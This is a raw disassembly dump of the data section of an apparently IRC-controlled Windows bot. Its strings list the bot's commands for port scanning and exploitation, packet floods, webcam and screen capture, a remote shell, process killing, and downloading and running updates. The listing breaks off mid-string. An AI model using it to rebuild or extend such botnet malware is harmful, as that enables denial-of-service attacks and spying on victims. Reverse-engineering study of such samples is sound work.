; DATA XREF: sub_40EE72+51FEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingForPa db ' Searching for password.',0 unk_435C30 db 2 ; DATA XREF: sub_40EE72:loc_414037o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_14 db ' Failed to start scan, port is invalid.',0 align 4 unk_435C74 db 2 ; DATA XREF: sub_40EE72+5106o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSPortScanStart db ' %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 4 dword_435CEC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4EC6o dd 2BBBB02h aNickChangedToS db ' Nick changed to: ',27h,'%s',27h,'.',0 align 10h dword_435D20 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4EAAo dd 2BBBB02h aJoinedChannelS db ' Joined channel: ',27h,'%s',27h,'.',0 dword_435D50 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4E87o dd 2BBBB02h aPartedChannelS db ' Parted channel: ',27h,'%s',27h,'.',0 dword_435D80 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4E6Bo dd 2BBBB02h, 52492020h, 61522043h, 25203A77h, 2E73h dword_435DA8 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413C5Co dd 2029671Fh, 2BBBB02h aFailedToKillTh db ' Failed to kill thread: %s.',0 align 4 dword_435DE4 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72+4DE3o dd 2029671Fh, 2BBBB02h aKilledThreadS_ db ' Killed thread: %s.',0 align 4 dword_435E18 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413C0Fo dd 2029671Fh, 2BBBB02h aNoActiveThread db ' No active threads found.',0 align 10h dword_435E50 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72+4D84o dd 2029671Fh, 2BBBB02h aStoppedDThread db ' Stopped: %d thread(s).',0 align 4 aAll db 'all',0 ; DATA XREF: sub_40EE72+4D6Ao aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+4CE3o ; sub_40EE72:loc_414B4Ao align 4 dword_435E9C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4C68o dd 2BBBB02h aPrefixChangedT db ' Prefix changed to: ',27h,'%c',27h,'.',0 align 10h unk_435ED0 db 3 ; DATA XREF: sub_40EE72:loc_413AC5o db 31h, 35h, 2Ch db 31h ; 1 db 34h, 6Eh, 7Ah db 6Dh ; m db 20h, 3, 32h db 2Eh ; . db 2Eh, 20h, 3 db 31h ; 1 db 35h, 28h, 73h db 68h ; h db 65h, 2 dup(6Ch) db 3 db 32h, 2Eh, 3 db 31h ; 1 db 35h, 6Dh, 6Fh db 64h ; d db 29h, 20h, 3 db 32h ; 2 db 0BBh, 3, 31h a5CouldnTOpenFi db '5 Couldn',27h,'t open file: %s',0 align 4 unk_435F14 db 3 ; DATA XREF: sub_40EE72+4C49o db 31h, 35h, 2Ch db 31h ; 1 db 34h, 6Eh, 7Ah db 6Dh ; m db 20h, 3, 32h db 2Eh ; . db 2Eh, 20h, 3 db 31h ; 1 db 35h, 28h, 73h db 68h ; h db 65h, 2 dup(6Ch) db 3 db 32h, 2Eh, 3 db 31h ; 1 db 35h, 6Dh, 6Fh db 64h ; d db 29h, 20h, 3 db 32h ; 2 db 0BBh, 3, 31h a5FileOpenedS db '5 File opened: %s',0 align 10h dword_435F50 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4C29o dd 2BBBB02h aServerChangedT db ' Server changed to: ',27h,'%s',27h,'.',0 align 4 dword_435F84 dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_413A4Fo dd 2BBBB02h aCouldnTResol_0 db ' Couldn',27h,'t resolve hostname.',0 align 4 dword_435FBC dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4BB2o dd 2BBBB02h aLookupSS_ db ' Lookup: %s -> %s.',0 unk_435FE8 db 2 ; DATA XREF: sub_40EE72:loc_4139F0o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToTermin db 'Failed to terminate process: %s',0 unk_436028 db 2 ; DATA XREF: sub_40EE72+4B74o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aProcessKilledS db 'Process killed: %s',0 align 4 unk_43605C db 2 ; DATA XREF: sub_40EE72:loc_413990o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToTerm_0 db 'Failed to terminate process ID: %s',0 align 10h unk_4360A0 db 2 ; DATA XREF: sub_40EE72+4B17o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aProcessKilledI db 'Process killed ID: %s',0 align 4 dword_4360D8 dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch ; DATA XREF: sub_40EE72+4AD2o dd 0BBBB0220h, 44202002h, 74656C65h, 27206465h, 2E277325h dd 0 dword_436104 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4A4Do dd 2BBBB02h aSendFileSUserS db ' Send File: %s, User: %s.',0 align 4 dword_436138 dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch ; DATA XREF: sub_40EE72+49D2o dd 0BBBB0220h, 4C202002h, 3A747369h, 732520h unk_43615C db 2 ; DATA XREF: sub_40EE72+49B4o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 76h, 69h, 73h db 69h ; i db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToSta_15 db 'Failed to start connection thread, error: <%d>.',0 dword_4361A8 dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh ; DATA XREF: sub_40EE72+4945o dd 0BB022029h, 202002BBh, 3A4C5255h, 2E732520h, 0 dword_4361D0 dd 7A026E02h, 201F6D1Fh, 72696D28h, 1F702E63h, 29671F6Ch ; DATA XREF: sub_40EE72:loc_413745o dd 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh, 2E746E65h dd 0 unk_4361FC db 2 ; DATA XREF: sub_40EE72+48C9o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Dh, 69h, 72h db 63h ; c db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientNotOpen_ db ' Client not open.',0 dword_436228 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4898o dd 2BBBB02h, 6F432020h, 6E616D6Dh, 203A7364h, 7325h dword_436250 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+488Do dd 2BBBB02h aErrorSendingTo db ' Error sending to remote shell.',0 align 4 dword_43628C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+484Do dd 2BBBB02h aReadFileFailed db ' Read file failed: %s',0 align 4 dword_4362BC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4839o dd 2BBBB02h aReadFileComple db ' Read file complete: %s',0 align 10h dword_4362F0 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413639o dd 2029671Fh, 2BBBB02h aInvalidParam_0 db ' Invalid parameters for amateur video capture.',0 dword_43633C dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_41362Fo dd 2029671Fh, 2BBBB02h aErrorWhileCapt db ' Error while capturing amateur video from webcam.',0 align 4 dword_43638C dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72+47B3o dd 2029671Fh, 2BBBB02h aAmateurVideoSa db ' Amateur video saved to: %s.',0 align 4 dword_4363C8 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_41358Do dd 2029671Fh, 2BBBB02h aInvalidParam_1 db ' Invalid parameters for webcam capture.',0 align 10h dword_436410 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413586o dd 2029671Fh, 2BBBB02h aErrorWhileCa_0 db ' Error while capturing from webcam.',0 align 4 dword_436454 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72+4704o dd 2029671Fh, 2BBBB02h aWebcamCaptureS db ' Webcam capture saved to: %s.',0 align 10h aFrame db 'frame',0 ; DATA XREF: sub_40EE72:loc_4134FAo align 4 dword_436498 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72+467Bo dd 2029671Fh, 2BBBB02h aDriverListComp db ' Driver list complete.',0 dword_4364CC dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72+4645o dd 2029671Fh, 2BBBB02h aDriverDSS_ db ' Driver #%d - %s - %s.',0 aDrivers db 'drivers',0 ; DATA XREF: sub_40EE72:loc_413463o dword_436508 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413450o dd 2029671Fh, 2BBBB02h aNoFilenameSpec db ' No filename specified for screen capture.',0 dword_436550 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413449o dd 2029671Fh, 2BBBB02h aErrorWhileCa_1 db ' Error while capturing screen.',0 dword_43658C dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72+45C7o dd 2029671Fh, 2BBBB02h aScreenCaptureS db ' Screen capture saved to: %s.',0 align 4 aScreen db 'screen',0 ; DATA XREF: sub_40EE72:loc_413400o align 10h dword_4365D0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4576o dd 2BBBB02h, 65472020h, 736F6874h, 25203A74h, 2E73h dword_4365F8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4532o dd 2BBBB02h aUnableToExtrac db ' Unable to extract Gethost command.',0 align 4 dword_436638 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4516o dd 2BBBB02h aGethostSComman db ' Gethost: %s, Command: %s',0 align 4 dword_43666C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4496o dd 2BBBB02h aAliasAddedS_ db ' Alias added: %s.',0 align 4 dword_436698 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+445Fo dd 2BBBB02h aPrivmsgSS_ db ' Privmsg: %s: %s.',0 align 4 dword_4366C4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4411o dd 2BBBB02h aActionSS_ db ' Action: %s: %s.',0 align 10h dword_4366F0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+43A0o dd 2BBBB02h, 79432020h, 2E656C63h, 0 dword_436714 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_40EE72+4366o ; sub_40EE72+4E76o dword_436720 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+433Fo dd 2BBBB02h aModeChangeS db ' Mode change: %s',0 align 4 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+432Eo align 4 dword_436758 dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h ; DATA XREF: sub_40EE72+4305o dd 2202967h, 2002BBBBh, 77615220h, 73252820h, 25203A29h dd 73h dword_436784 dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h ; DATA XREF: sub_40EE72+4297o dd 2202967h, 2002BBBBh, 646F4D20h, 25282065h, 203A2973h dd 7325h dword_4367B0 dd 45444F4Dh, 732520h ; DATA XREF: sub_40EE72+423Fo dword_4367B8 dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h ; DATA XREF: sub_40EE72+4212o dd 2202967h, 2002BBBBh, 63694E20h, 2528206Bh, 203A2973h dd 7325h dword_4367E4 dd 4B43494Eh, 732520h ; DATA XREF: sub_40EE72+41B9o ; sub_40EE72+4CADo dword_4367EC dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40EE72+419Ao dword_4367F8 dd 54524150h, 732520h ; DATA XREF: sub_40EE72+4130o dword_436800 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_412F8Fo dd 2BBBB02h aRepeatNotAllow db ' Repeat not allowed in command line: %s',0 align 4 dword_436844 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+40E6o dd 2BBBB02h, 65522020h, 74616570h, 7325203Ah, 0 aRepeat db 'repeat',0 ; DATA XREF: sub_40EE72+4092o align 4 dword_436874 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_412EBCo dd 2BBBB02h, 65442020h, 2E79616Ch, 0 dword_436898 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_40EE72+400Ao ; sub_40EE72+40BDo ... unk_4368A8 db 2 ; DATA XREF: sub_40EE72:loc_412E29o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 75h, 70h, 64h db 61h ; a db 74h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aBotIdMustBeDif db ' Bot ID must be different than current running process.',0 unk_4368FC db 2 ; DATA XREF: sub_40EE72+3FADo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 75h, 70h, 64h db 61h ; a db 74h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToStartD db ' Failed to start download thread, error: <%d>.',0 align 4 unk_436948 db 2 ; DATA XREF: sub_40EE72+3F3Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 75h, 70h, 64h db 61h ; a db 74h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aDownloadingUpd db ' Downloading update from: %s.',0 align 4 aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_40EE72+3E95o align 10h dword_436990 dd 7A026E02h, 201F6D1Fh, 65786528h, 1F702E63h, 29671F6Ch ; DATA XREF: sub_40EE72+3E33o dd 0BBBB0220h, 43202002h, 616D6D6Fh, 3A73646Eh, 732520h unk_4369B8 db 2 ; DATA XREF: sub_40EE72+3E28o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 65h, 78h, 65h db 63h ; c db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCouldnTExecute db ' Couldn',27h,'t execute file.',0 align 4 unk_4369EC db 2 ; DATA XREF: sub_40EE72+3DA0o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_16 db ' Failed to start search thread, error: <%d>.',0 align 4 unk_436A38 db 2 ; DATA XREF: sub_40EE72+3D26o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingFor_0 db ' Searching for file: %s in: %s.',0 align 4 dword_436A78 dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch ; DATA XREF: sub_40EE72:loc_412AF9o ; sub_40EE72:loc_413962o dd 0BBBB0220h, 2002h unk_436A94 db 2 ; DATA XREF: sub_40EE72+3C6Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aRenameSToS_ db ' Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 4 unk_436AC8 db 2 ; DATA XREF: sub_40EE72:loc_412ABFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aInvalidFloodTi db ' Invalid flood time must be greater than 0.',0 align 10h unk_436B10 db 2 ; DATA XREF: sub_40EE72+3C43o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartF db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_436B58 db 2 ; DATA XREF: sub_40EE72+3BCFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSForSS db ' Flooding: (%s) for %s seconds.',0 align 4 unk_436B94 db 2 ; DATA XREF: sub_40EE72+3B4Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Ch, 6Fh db 6Eh ; n db 65h, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToSta_17 db ' Failed to start clone thread, error: <%d>.',0 unk_436BDC db 2 ; DATA XREF: sub_40EE72+3ADDo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Ch, 6Fh db 6Eh ; n db 65h, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aCreatedOnSDInC db ' Created on %s:%d, in channel %s.',0 align 4 unk_436C1C db 2 ; DATA XREF: sub_40EE72+3A55o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 2 dup(64h), 6Fh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_18 db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_436C64 db 2 ; DATA XREF: sub_40EE72+39E6o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 2 dup(64h), 6Fh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSSForS db ' Flooding: (%s:%s) for %s seconds.',0 align 4 dword_436CA4 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+3948o dd 2BBBB02h aFailedToSta_19 db ' Failed to start flood thread, error: <%d>.',0 align 4 dword_436CEC dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+38D7o dd 2BBBB02h aFloodingSSFo_0 db ' Flooding: (%s:%s) for %s seconds.',0 unk_436D28 db 2 ; DATA XREF: sub_40EE72+385Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartT db ' Failed to start transfer thread, error: <%d>.',0 align 4 unk_436D78 db 2 ; DATA XREF: sub_40EE72+37EFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloadingUrl db ' Downloading URL: %s to: %s.',0 align 4 unk_436DB4 db 2 ; DATA XREF: sub_40EE72+371Do db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartR db ' Failed to start redirection thread, error: <%d>.',0 align 4 unk_436E08 db 2 ; DATA XREF: sub_40EE72+36AEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTcpRedirectCre db ' TCP redirect created from: %s:%d to: %s:%d.',0 unk_436E54 db 2 ; DATA XREF: sub_40EE72+3620o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_20 db ' Failed to start scan thread, error: <%d>.',0 align 10h unk_436EA0 db 2 ; DATA XREF: sub_40EE72+35B1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aPortScanStarte db ' Port scan started: %s:%d with delay: %d(ms).',0 aSSS_0 db '[%s] <%s> %s',0 ; DATA XREF: sub_40EE72+352Do align 4 aSSS_1 db '[%s] * %s %s',0 ; DATA XREF: sub_40EE72+3430o align 4 dword_436F0C dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_40EE72+33A2o ; sub_40EE72+43EFo unk_436F18 db 2 ; DATA XREF: sub_40EE72+3340o ; sub_40EE72+5177o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_21 db ' Failed to start scan thread, error: <%d>.',0 align 10h unk_436F60 db 2 ; DATA XREF: sub_40EE72+32D1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSExploitationS db ' %s Exploitation started on %s:%d waiting %d seconds for %d minu' db 'tes using %d threads.',0 aSequential db 'Sequential',0 ; DATA XREF: sub_40EE72+32A6o ; sub_40EE72+50DBo align 4 aRandom_0 db 'Random',0 ; DATA XREF: sub_40EE72+329Fo ; sub_40EE72+50D4o align 4 unk_436FE4 db 2 ; DATA XREF: sub_40EE72+3161o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_22 db ' Failed to start scan, no IP specified.',0 align 4 unk_437028 db 2 ; DATA XREF: sub_40EE72+301Ao ; sub_40EE72+4F1Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aAlreadyDScanni db ' Already %d scanning threads. Too many specified.',0 dword_437074 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2FE9o dd 2BBBB02h aFailedToSta_23 db ' Failed to start flood thread, error: <%d>.',0 align 4 dword_4370BC dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2F7Ao dd 2BBBB02h aSendingDPacket db ' Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 4 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_40EE72+2EA2o align 4 unk_43712C db 2 ; DATA XREF: sub_40EE72+2E8Do db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_24 db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_437174 db 2 ; DATA XREF: sub_40EE72+2E22o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSendingDPingsT db ' Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 4 dword_4371CC dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_411BF4o dd 2BBBB02h aInvalidFlood_0 db ' Invalid flood time must be greater than 0.',0 align 4 dword_437214 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2D78o dd 2BBBB02h aFailedToSta_25 db ' Failed to start flood thread, 